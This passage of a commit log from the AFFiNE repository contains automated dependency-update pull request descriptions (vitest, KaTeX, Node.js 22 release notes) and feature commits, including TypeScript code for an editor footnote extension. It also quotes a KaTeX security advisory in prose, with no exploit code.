    -   Preserve white space of `toMatchFileSnapshot`  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7156](https://redirect.github.com/vitest-dev/vitest/issues/7156) [<samp>(a437b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/a437b656)
    -   Fix obsoleteness check of `toMatchSnapshot("...")`  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7126](https://redirect.github.com/vitest-dev/vitest/issues/7126) [<samp>(ac9ba)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ac9ba151)
-   **typecheck**:
    -   Fix typecheck collect on Vite 6  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6972](https://redirect.github.com/vitest-dev/vitest/issues/6972) [<samp>(7b35d)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/7b35d13a)
    -   Use unique temp and tsbuildinfo file for each tsconfig file  -  by [@&#8203;masnormen](https://redirect.github.com/masnormen) in [https://github.com/vitest-dev/vitest/issues/7107](https://redirect.github.com/vitest-dev/vitest/issues/7107) and [https://github.com/vitest-dev/vitest/issues/7112](https://redirect.github.com/vitest-dev/vitest/issues/7112) [<samp>(61b30)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/61b30162)
    -   Fix error test case mapping for `@ts-expect-error`  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7125](https://redirect.github.com/vitest-dev/vitest/issues/7125) [<samp>(27d34)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/27d340aa)
-   **types**:
    -   Make parameters non-nullable for Playwright options  -  by [@&#8203;apple-yagi](https://redirect.github.com/apple-yagi) in [https://github.com/vitest-dev/vitest/issues/6989](https://redirect.github.com/vitest-dev/vitest/issues/6989) [<samp>(fe2a1)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/fe2a187f)
-   **ui**:
    -   Wrong module graph when generating html.meta.json.gz in browser mode  -  by [@&#8203;userquin](https://redirect.github.com/userquin) in [https://github.com/vitest-dev/vitest/issues/7214](https://redirect.github.com/vitest-dev/vitest/issues/7214) [<samp>(dccdd)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/dccdd550)
    -   Add errors and draft state (\*) to the code editor  -  by [@&#8203;userquin](https://redirect.github.com/userquin) in [https://github.com/vitest-dev/vitest/issues/7044](https://redirect.github.com/vitest-dev/vitest/issues/7044) [<samp>(faca4)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/faca4de8)
-   **vite-node**:
    -   Fix error stack on Windows  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6786](https://redirect.github.com/vitest-dev/vitest/issues/6786) [<samp>(bf7b3)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/bf7b36ac)
    -   Properly normalize file url import  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7087](https://redirect.github.com/vitest-dev/vitest/issues/7087) [<samp>(31675)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/31675e3b)
    -   Fix mandatory node prefix  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7179](https://redirect.github.com/vitest-dev/vitest/issues/7179) [<samp>(b6284)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/b6284642)
-   **watch**:
    -   Don't indicate exit when no matching files  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) and [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7246](https://redirect.github.com/vitest-dev/vitest/issues/7246) [<samp>(003c0)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/003c0bef)
-   **workspace**:
    -   `extends: true` correctly inherits all root config properties  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7232](https://redirect.github.com/vitest-dev/vitest/issues/7232) [<samp>(798c0)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/798c0da2)

#####     [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v2.1.8...v3.0.0)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-18 16:27:22 +00:00
pengx17
f689c2f1fc feat(electron): move @blocksuite/affine to peer dependences for package speed on windows (#9756)
`@blocksuite/affine` is indirectly depended by electron package. It has around 120k files in total and will greatly slow down forge package build speed.
Move them to peer dependencies to mitigate the issue.
2025-01-18 10:16:22 +00:00
fundon
7436c139ab fix(core): improve doc title and icon display (#9755)
Closes: [AF-2132](https://linear.app/affine-design/issue/AF-2132/优化-emoji-title-和-icon-显示)
2025-01-18 17:29:15 +08:00
akumatus
d048ac6c91 feat(core): support chat panel chips and suggest current doc for embedding (#9747)
Support issue [BS-2347](https://linear.app/affine-design/issue/BS-2347).

## What Changed?
- Add chat panel components
  - `chat-panel-chips`
  - `chat-panel-doc-chip`
  - `chat-panel-file-chip`
  - `chat-panel-chip`
- Add `chips` and `docs` field in `ChatContextValue`
- Add `extractMarkdownFromDoc` function to extract markdown content of a doc
- Add e2e test

Click a candidate card to add it into AI chat context:
<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/sJGviKxfE3Ap685cl5bj/4e6b11ef-f993-4e6a-9f40-b2826af1990c.mov">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/sJGviKxfE3Ap685cl5bj/4e6b11ef-f993-4e6a-9f40-b2826af1990c.mov">
            </a>
          </div>
<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/4e6b11ef-f993-4e6a-9f40-b2826af1990c.mov">录屏2025-01-17 01.02.04.mov</video>
2025-01-18 08:35:19 +00:00
renovate
59611fa002 chore: bump up katex version to v0.16.21 [SECURITY] (#9771)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [katex](https://katex.org) ([source](https://redirect.github.com/KaTeX/KaTeX)) | [`0.16.20` -> `0.16.21`](https://renovatebot.com/diffs/npm/katex/0.16.20/0.16.21) | [![age](https://developer.mend.io/api/mc/badges/age/npm/katex/0.16.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/katex/0.16.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/katex/0.16.20/0.16.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/katex/0.16.20/0.16.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

### GitHub Vulnerability Alerts

#### [CVE-2025-23207](https://redirect.github.com/KaTeX/KaTeX/security/advisories/GHSA-cg87-wmx4-v546)

### Impact
KaTeX users who render untrusted mathematical expressions with `renderToString` could encounter malicious input using `\htmlData` that runs arbitrary JavaScript, or generate invalid HTML.

### Patches
Upgrade to KaTeX v0.16.21 to remove this vulnerability.

### Workarounds
- Avoid use of or turn off the `trust` option, or set it to forbid `\htmlData` commands.
- Forbid inputs containing the substring `"\\htmlData"`.
- Sanitize HTML output from KaTeX.

### Details
`\htmlData` did not validate its attribute name argument, allowing it to generate invalid or malicious HTML that runs scripts.

### For more information
If you have any questions or comments about this advisory:

- Open an issue or security advisory in the [KaTeX repository](https://redirect.github.com/KaTeX/KaTeX/)
- Email us at [katex-security@mit.edu](mailto:katex-security@mit.edu)

---

### Release Notes

<details>
<summary>KaTeX/KaTeX (katex)</summary>

### [`v0.16.21`](https://redirect.github.com/KaTeX/KaTeX/blob/HEAD/CHANGELOG.md#01621-2025-01-17)

[Compare Source](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.20...v0.16.21)

##### Bug Fixes

-   escape \htmlData attribute name ([57914ad](57914ad91e))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-18 08:18:04 +00:00
zzj3720
95c0f59d96 refactor(editor): remove database-service (#9769)
close: BS-2426
2025-01-18 05:36:15 +00:00
L-Sun
ad814a0f4f feat(editor): add sidebar service (#9761) 2025-01-17 23:42:50 +08:00
Brooooooklyn
779029148e refactor(server): enhance the Logger usage (#9763) 2025-01-17 12:12:14 +00:00
L-Sun
d8727c2001 fix(editor): close embed edit modal on editor unmount (#9765)
Close [BS-2436](https://linear.app/affine-design/issue/BS-2436/should-close-embed-card-edit-modal-after-editor-unmount)

### What Changes:
- fix(editor): close embed edit modal on editor unmount
- test(editor): add test to embed edit modal when switching mode
2025-01-17 11:53:09 +00:00
donteatfriedrice
df910d7013 feat(editor): add affine inline footnote (#9745)
[BS-2369](https://linear.app/affine-design/issue/BS-2369/新增-affinetextattribute-footnote)  [BS-2370](https://linear.app/affine-design/issue/BS-2370/支持-footnote-自定义渲染行内内容) [BS-2372](https://linear.app/affine-design/issue/BS-2372/提供-footnoteconfigextension) [BS-2375](https://linear.app/affine-design/issue/BS-2375/footnote-自定义渲染-popup)

### Add new AffineTextAttribute: footnote

```
/**
 * FootNote is used to reference a doc, attachment or url.
 */
export interface AffineTextAttributes {
  ...
  footnote?: {
    label: string; // label of the footnote
    reference: {
      type: 'doc' | 'attachment' | 'url'; // type of reference
      docId?: string; // the id of the reference doc
      url?: string; //  the url of the reference network resource
      blobId?: string; // the id of the reference attachment
      fileName?: string; // the name of the reference attachment
      fileType?: string; // the type of the reference attachment
    }
  } | null
}
```

### FootNoteNodeConfigProvider Extension

#### FootNoteNodeConfig Type Definition

```
type FootNoteNodeRenderer = (
  footnote: FootNote,
  std: BlockStdScope
) => TemplateResult<1>;

type FootNotePopupRenderer = (
  footnote: FootNote,
  std: BlockStdScope,
  abortController: AbortController
) => TemplateResult<1>;

export interface FootNoteNodeConfig {
  customNodeRenderer?: FootNoteNodeRenderer;
  customPopupRenderer?: FootNotePopupRenderer;
  interactive?: boolean;
  hidePopup?: boolean;
}
```

#### FootNoteNodeConfigProvider Class

```
export class FootNoteNodeConfigProvider {
  private _customNodeRenderer?: FootNoteNodeRenderer;
  private _customPopupRenderer?: FootNotePopupRenderer;
  private _hidePopup: boolean;
  private _interactive: boolean;

  get customNodeRenderer() {
    return this._customNodeRenderer;
  }

  get customPopupRenderer() {
    return this._customPopupRenderer;
  }

  get doc() {
    return this.std.store;
  }

  get hidePopup() {
    return this._hidePopup;
  }

  get interactive() {
    return this._interactive;
  }

  constructor(
    config: FootNoteNodeConfig,
    readonly std: BlockStdScope
  ) {
    this._customNodeRenderer = config.customNodeRenderer;
    this._customPopupRenderer = config.customPopupRenderer;
    this._hidePopup = config.hidePopup ?? false;
    this._interactive = config.interactive ?? true;
  }

  setCustomNodeRenderer(renderer: FootNoteNodeRenderer) {
    this._customNodeRenderer = renderer;
  }

  setCustomPopupRenderer(renderer: FootNotePopupRenderer) {
    this._customPopupRenderer = renderer;
  }

  setHidePopup(hidePopup: boolean) {
    this._hidePopup = hidePopup;
  }

  setInteractive(interactive: boolean) {
    this._interactive = interactive;
  }
}
```

#### FootNoteNodeConfigProvider Extension

```
export const FootNoteNodeConfigIdentifier =
  createIdentifier<FootNoteNodeConfigProvider>('AffineFootNoteNodeConfig');

export function FootNoteNodeConfigExtension(
  config: FootNoteNodeConfig
): ExtensionType {
  return {
    setup: di => {
      di.addImpl(
        FootNoteNodeConfigIdentifier,
        provider =>
          new FootNoteNodeConfigProvider(config, provider.get(StdIdentifier))
      );
    },
  };
}
```

The footnote node can be extended by this extension.

### FootnoteInlineSpec

```
export const FootNoteInlineSpecExtension = InlineSpecExtension(
  'footnote',
  provider => {
    const std = provider.get(StdIdentifier);
    const config =
      provider.getOptional(FootNoteNodeConfigIdentifier) ?? undefined;
    return {
      name: 'footnote',
      schema: FootNoteSchema.optional().nullable().catch(undefined),
      match: delta => {
        return !!delta.attributes?.footnote;
      },
      renderer: ({ delta }) => {
        return html`<affine-footnote-node
          .delta=${delta}
          .std=${std}
          .config=${config}
        ></affine-footnote-node>`;
      },
      embed: true,
    };
  }
);
```
2025-01-17 09:38:43 +00:00
CatsJuice
7d1d167858 chore: bump theme (#9732) 2025-01-17 09:22:15 +00:00
zzj3720
aa21ac6d64 refactor(editor): move database selection into the corresponding view (#9752) 2025-01-17 09:03:13 +00:00
renovate
338ccb427b chore: bump up Node.js to v22 (#8625)
This PR contains the following updates:

| Package | Type | Update | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|---|---|
| [node](https://nodejs.org) ([source](https://redirect.github.com/nodejs/node)) |  | major | `20.18.1` -> `22.13.0` | [![age](https://developer.mend.io/api/mc/badges/age/node-version/node/v22.13.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/node-version/node/v22.13.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/node-version/node/v20.18.1/v22.13.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/node-version/node/v20.18.1/v22.13.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node)) | dependencies | major | [`^20.17.10` -> `^22.0.0`](https://renovatebot.com/diffs/npm/@types%2fnode/20.17.14/22.10.7) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnode/22.10.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fnode/22.10.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fnode/20.17.14/22.10.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnode/20.17.14/22.10.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node)) | devDependencies | major | [`^20.17.10` -> `^22.0.0`](https://renovatebot.com/diffs/npm/@types%2fnode/20.17.14/22.10.7) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnode/22.10.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fnode/22.10.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fnode/20.17.14/22.10.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnode/20.17.14/22.10.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [node](https://nodejs.org) ([source](https://redirect.github.com/nodejs/node)) | engines | major | [`<21.0.0` -> `<23.0.0`](https://renovatebot.com/diffs/npm/node/v20.18.1/v22.13.0) | [![age](https://developer.mend.io/api/mc/badges/age/node-version/node/v22.13.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/node-version/node/v22.13.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/node-version/node/v20.18.1/v22.13.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/node-version/node/v20.18.1/v22.13.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [node](https://redirect.github.com/nodejs/node) | final | major | `20-bookworm-slim` -> `22-bookworm-slim` | [![age](https://developer.mend.io/api/mc/badges/age/docker/node/22.13.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/docker/node/22.13.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/docker/node/20.18.1/22.13.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/docker/node/20.18.1/22.13.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>nodejs/node (node)</summary>

### [`v22.13.0`](https://redirect.github.com/nodejs/node/compare/v22.12.0...v22.13.0)

[Compare Source](https://redirect.github.com/nodejs/node/compare/v22.12.0...v22.13.0)

### [`v22.12.0`](https://redirect.github.com/nodejs/node/compare/v22.11.0...v22.12.0)

[Compare Source](https://redirect.github.com/nodejs/node/compare/v22.11.0...v22.12.0)

### [`v22.11.0`](https://redirect.github.com/nodejs/node/compare/v22.10.0...v22.11.0)

[Compare Source](https://redirect.github.com/nodejs/node/compare/v22.10.0...v22.11.0)

### [`v22.10.0`](https://redirect.github.com/nodejs/node/releases/tag/v22.10.0): 2024-10-16, Version 22.10.0 (Current), @&#8203;aduh95

[Compare Source](https://redirect.github.com/nodejs/node/compare/v22.9.0...v22.10.0)

##### Notable Changes

##### New `"module-sync"` exports condition

This release introduces a `"module-sync"` exports condition that's enabled when
`require(esm)` is enabled, so packages can supply a synchronous ES module to the
Node.js module loader, no matter if it's being required or imported. This is
similar to the `"module"` condition that bundlers have been using to support
`require(esm)` in Node.js, and allows dual-package authors to opt into ESM-first
only on newer versions of Node.js that supports `require(esm)` to avoid the
dual-package hazard.

```json
{
  "type": "module",
  "exports": {
    "node": {
      // On new version of Node.js, both require() and import get
      // the ESM version
      "module-sync": "./index.js",
      // On older version of Node.js, where "module-sync" and require(esm) are
      // not supported, use the CJS version to avoid dual-package hazard.
      // When package authors think it's time to drop support for older versions of
      // Node.js, they can remove the exports conditions and just use "main": "index.js".
      "default": "./dist/index.cjs"
    },
    // On any other environment, use the ESM version.
    "default": "./index.js"
  }
}
```

Or if the package is only meant to be run on Node.js and wants to fallback to
CJS on older versions that don't have `require(esm)`:

```json
{
  "type": "module",
  "exports": {
    // On new version of Node.js, both require() and import get the ESM version
    "module-sync": "./index.js",
    // On older version of Node.js, where "module-sync" and require(esm) are
    // not supported, use the CJS version to avoid dual-package hazard.
    // When package authors think it's time to drop support for older versions of
    // Node.js, they can remove the exports conditions and just use "main": "index.js".
    "default": "./dist/index.cjs"
  }
}
```

**For package authors**: this only serves as a feature-detection mechanism for
packages that wish to support both CJS and ESM users during the period when some
active Node.js LTS versions support  `require(esm)` while some older ones don't.
When all active Node.js LTS lines support `require(esm)`, packages can simplify
their distributions by bumping the major version, dropping their CJS exports,
and removing the `module-sync` exports condition (with only `main` or `default`
targetting the ESM exports). If the package needs to support both bundlers and
being run unbundled on Node.js during the transition period, use both
`module-sync` and `module` and point them to the same ESM file. If the package
already doesn't want to support older versions of Node.js that doesn't support
`require(esm)`, don't use this export condition.

**For bundlers/tools**: they should avoid implementing this stop-gap condition.
Most existing bundlers implement the de-facto bundler standard
[`module`](https://webpack.js.org/guides/package-exports/#providing-commonjs-and-esm-version-stateless)
exports condition, and that should be enough to support users who want to bundle
ESM from CJS consumers. Users who want both bundlers and Node.js to recognize
the ESM exports can use both `module`/`module-sync` conditions during the
transition period, and can drop `module-sync`+`module` when they no longer need
to support older versions of Node.js. If tools do want to support this
condition, it's recommended to make the resolution rules in the graph pointed by
this condition match the Node.js native ESM rules to avoid divergence.

We ended up implementing a condition with a different name instead of reusing
`"module"`, because existing code in the ecosystem using the `"module"`
condition sometimes also expect the module resolution for these ESM files to
work in CJS style, which is supported by bundlers, but the native Node.js loader
has intentionally made ESM resolution different from CJS resolution (e.g.
forbidding `import './noext'` or `import './directory'`), so it would be
breaking to implement a `"module"` condition without implementing the forbidden
ESM resolution rules. For now, this just implements a new condition as
semver-minor so it can be backported to older LTS.

Contributed by Joyee Cheung in [#&#8203;54648](https://redirect.github.com/nodejs/node/pull/54648).

##### `node --run` is now stable

This CLI flag runs a specified command from a `package.json`'s `"scripts"` object.

For the following `package.json`:

```json
{
  "scripts": {
    "test": "node --test-reporter junit --test ./test"
  }
}
```

You can run `node --run test` and that would start the test suite.

Contributed by Yagiz Nizipli in [#&#8203;53763](https://redirect.github.com/nodejs/node/pull/53763).

##### Other notable changes

-   \[[`f0b441230a`](https://redirect.github.com/nodejs/node/commit/f0b441230a)] - **(SEMVER-MINOR)** **crypto**: add `KeyObject.prototype.toCryptoKey` (Filip Skokan) [#&#8203;55262](https://redirect.github.com/nodejs/node/pull/55262)
-   \[[`349d2ed07b`](https://redirect.github.com/nodejs/node/commit/349d2ed07b)] - **(SEMVER-MINOR)** **crypto**: add Date fields for `validTo` and `validFrom` (Andrew Moon) [#&#8203;54159](https://redirect.github.com/nodejs/node/pull/54159)
-   \[[`bebc95ed58`](https://redirect.github.com/nodejs/node/commit/bebc95ed58)] - **doc**: add abmusse to collaborators (Abdirahim Musse) [#&#8203;55086](https://redirect.github.com/nodejs/node/pull/55086)
-   \[[`914db60159`](https://redirect.github.com/nodejs/node/commit/914db60159)] - **(SEMVER-MINOR)** **http2**: expose `nghttp2_option_set_stream_reset_rate_limit` as an option (Maël Nison) [#&#8203;54875](https://redirect.github.com/nodejs/node/pull/54875)
-   \[[`f7c3b03759`](https://redirect.github.com/nodejs/node/commit/f7c3b03759)] - **(SEMVER-MINOR)** **lib**: propagate aborted state to dependent signals before firing events (jazelly) [#&#8203;54826](https://redirect.github.com/nodejs/node/pull/54826)
-   \[[`32261fc98a`](https://redirect.github.com/nodejs/node/commit/32261fc98a)] - **(SEMVER-MINOR)** **module**: support loading entrypoint as url (RedYetiDev) [#&#8203;54933](https://redirect.github.com/nodejs/node/pull/54933)
-   \[[`06957ff355`](https://redirect.github.com/nodejs/node/commit/06957ff355)] - **(SEMVER-MINOR)** **module**: implement `flushCompileCache()` (Joyee Cheung) [#&#8203;54971](https://redirect.github.com/nodejs/node/pull/54971)
-   \[[`2dcf70c347`](https://redirect.github.com/nodejs/node/commit/2dcf70c347)] - **(SEMVER-MINOR)** **module**: throw when invalid argument is passed to `enableCompileCache()` (Joyee Cheung) [#&#8203;54971](https://redirect.github.com/nodejs/node/pull/54971)
-   \[[`f9b19d7c44`](https://redirect.github.com/nodejs/node/commit/f9b19d7c44)] - **(SEMVER-MINOR)** **module**: write compile cache to temporary file and then rename it (Joyee Cheung) [#&#8203;54971](https://redirect.github.com/nodejs/node/pull/54971)
-   \[[`e95163b170`](https://redirect.github.com/nodejs/node/commit/e95163b170)] - **(SEMVER-MINOR)** **process**: add `process.features.require_module` (Joyee Cheung) [#&#8203;55241](https://redirect.github.com/nodejs/node/pull/55241)
-   \[[`4050f68e5d`](https://redirect.github.com/nodejs/node/commit/4050f68e5d)] - **(SEMVER-MINOR)** **process**: add `process.features.typescript` (Aviv Keller) [#&#8203;54295](https://redirect.github.com/nodejs/node/pull/54295)
-   \[[`86f7cb802d`](https://redirect.github.com/nodejs/node/commit/86f7cb802d)] - **(SEMVER-MINOR)** **test_runner**: support custom arguments in `run()` (Aviv Keller) [#&#8203;55126](https://redirect.github.com/nodejs/node/pull/55126)
-   \[[`b62f2f8259`](https://redirect.github.com/nodejs/node/commit/b62f2f8259)] - **(SEMVER-MINOR)** **test_runner**: add `'test:summary'` event (Colin Ihrig) [#&#8203;54851](https://redirect.github.com/nodejs/node/pull/54851)
-   \[[`d7c708aec5`](https://redirect.github.com/nodejs/node/commit/d7c708aec5)] - **(SEMVER-MINOR)** **test_runner**: add support for coverage via `run()` (Chemi Atlow) [#&#8203;53937](https://redirect.github.com/nodejs/node/pull/53937)
-   \[[`5fda4a1498`](https://redirect.github.com/nodejs/node/commit/5fda4a1498)] - **(SEMVER-MINOR)** **worker**: add `markAsUncloneable` api (Jason Zhang) [#&#8203;55234](https://redirect.github.com/nodejs/node/pull/55234)

##### Commits

-   \[[`e3619510c8`](https://redirect.github.com/nodejs/node/commit/e3619510c8)] - **assert**: show the diff when deep comparing data with a custom message (Giovanni) [#&#8203;54759](https://redirect.github.com/nodejs/node/pull/54759)
-   \[[`39c7a9e70c`](https://redirect.github.com/nodejs/node/commit/39c7a9e70c)] - **benchmark**: adjust config for deepEqual object (Rafael Gonzaga) [#&#8203;55254](https://redirect.github.com/nodejs/node/pull/55254)
-   \[[`263526d5d0`](https://redirect.github.com/nodejs/node/commit/263526d5d0)] - **benchmark**: rewrite detect-esm-syntax benchmark (Joyee Cheung) [#&#8203;55238](https://redirect.github.com/nodejs/node/pull/55238)
-   \[[`cd0795fb00`](https://redirect.github.com/nodejs/node/commit/cd0795fb00)] - **benchmark**: add no-warnings to process.has bench (Rafael Gonzaga) [#&#8203;55159](https://redirect.github.com/nodejs/node/pull/55159)
-   \[[`4352d9cc31`](https://redirect.github.com/nodejs/node/commit/4352d9cc31)] - **benchmark**: create benchmark for typescript (Marco Ippolito) [#&#8203;54904](https://redirect.github.com/nodejs/node/pull/54904)
-   \[[`452bc9b48d`](https://redirect.github.com/nodejs/node/commit/452bc9b48d)] - **benchmark**: add webstorage benchmark (jakecastelli) [#&#8203;55040](https://redirect.github.com/nodejs/node/pull/55040)
-   \[[`d4d5ba3a9b`](https://redirect.github.com/nodejs/node/commit/d4d5ba3a9b)] - **benchmark**: include ascii to fs/readfile (Rafael Gonzaga) [#&#8203;54988](https://redirect.github.com/nodejs/node/pull/54988)
-   \[[`23b628db65`](https://redirect.github.com/nodejs/node/commit/23b628db65)] - **benchmark**: add dotenv benchmark (Aviv Keller) [#&#8203;54278](https://redirect.github.com/nodejs/node/pull/54278)
-   \[[`b1ebb0d8ca`](https://redirect.github.com/nodejs/node/commit/b1ebb0d8ca)] - **buffer**: coerce extrema to int in `blob.slice` (Antoine du Hamel) [#&#8203;55141](https://redirect.github.com/nodejs/node/pull/55141)
-   \[[`3a6e72483f`](https://redirect.github.com/nodejs/node/commit/3a6e72483f)] - **buffer**: extract Blob's .arrayBuffer() & webidl changes (Matthew Aitken) [#&#8203;53372](https://redirect.github.com/nodejs/node/pull/53372)
-   \[[`d109f1c4ff`](https://redirect.github.com/nodejs/node/commit/d109f1c4ff)] - **buffer**: use simdutf convert_latin1\_to_utf8\_safe (Robert Nagy) [#&#8203;54798](https://redirect.github.com/nodejs/node/pull/54798)
-   \[[`77f8a3f9c2`](https://redirect.github.com/nodejs/node/commit/77f8a3f9c2)] - **build**: fix notify-on-review-wanted action (Rafael Gonzaga) [#&#8203;55304](https://redirect.github.com/nodejs/node/pull/55304)
-   \[[`0d93b1ed0c`](https://redirect.github.com/nodejs/node/commit/0d93b1ed0c)] - **build**: fix not valid json in coverage (jakecastelli) [#&#8203;55179](https://redirect.github.com/nodejs/node/pull/55179)
-   \[[`f89664d890`](https://redirect.github.com/nodejs/node/commit/f89664d890)] - **build**: include `.nycrc` in coverage workflows (Wuli Zuo) [#&#8203;55210](https://redirect.github.com/nodejs/node/pull/55210)
-   \[[`d7a9df6417`](https://redirect.github.com/nodejs/node/commit/d7a9df6417)] - **build**: notify via slack when review-wanted (Rafael Gonzaga) [#&#8203;55102](https://redirect.github.com/nodejs/node/pull/55102)
-   \[[`68822cc861`](https://redirect.github.com/nodejs/node/commit/68822cc861)] - **build**: add more information to Makefile help (Aviv Keller) [#&#8203;53381](https://redirect.github.com/nodejs/node/pull/53381)
-   \[[`f3ca9c669b`](https://redirect.github.com/nodejs/node/commit/f3ca9c669b)] - **build**: update ruff and add `lint-py-fix` (Aviv Keller) [#&#8203;54410](https://redirect.github.com/nodejs/node/pull/54410)
-   \[[`d99ae548d7`](https://redirect.github.com/nodejs/node/commit/d99ae548d7)] - **build**: remove -v flag to reduce noise (iwuliz) [#&#8203;55025](https://redirect.github.com/nodejs/node/pull/55025)
-   \[[`d3dfbe7ff9`](https://redirect.github.com/nodejs/node/commit/d3dfbe7ff9)] - **build**: display free disk space after build in the test-macOS workflow (iwuliz) [#&#8203;55025](https://redirect.github.com/nodejs/node/pull/55025)
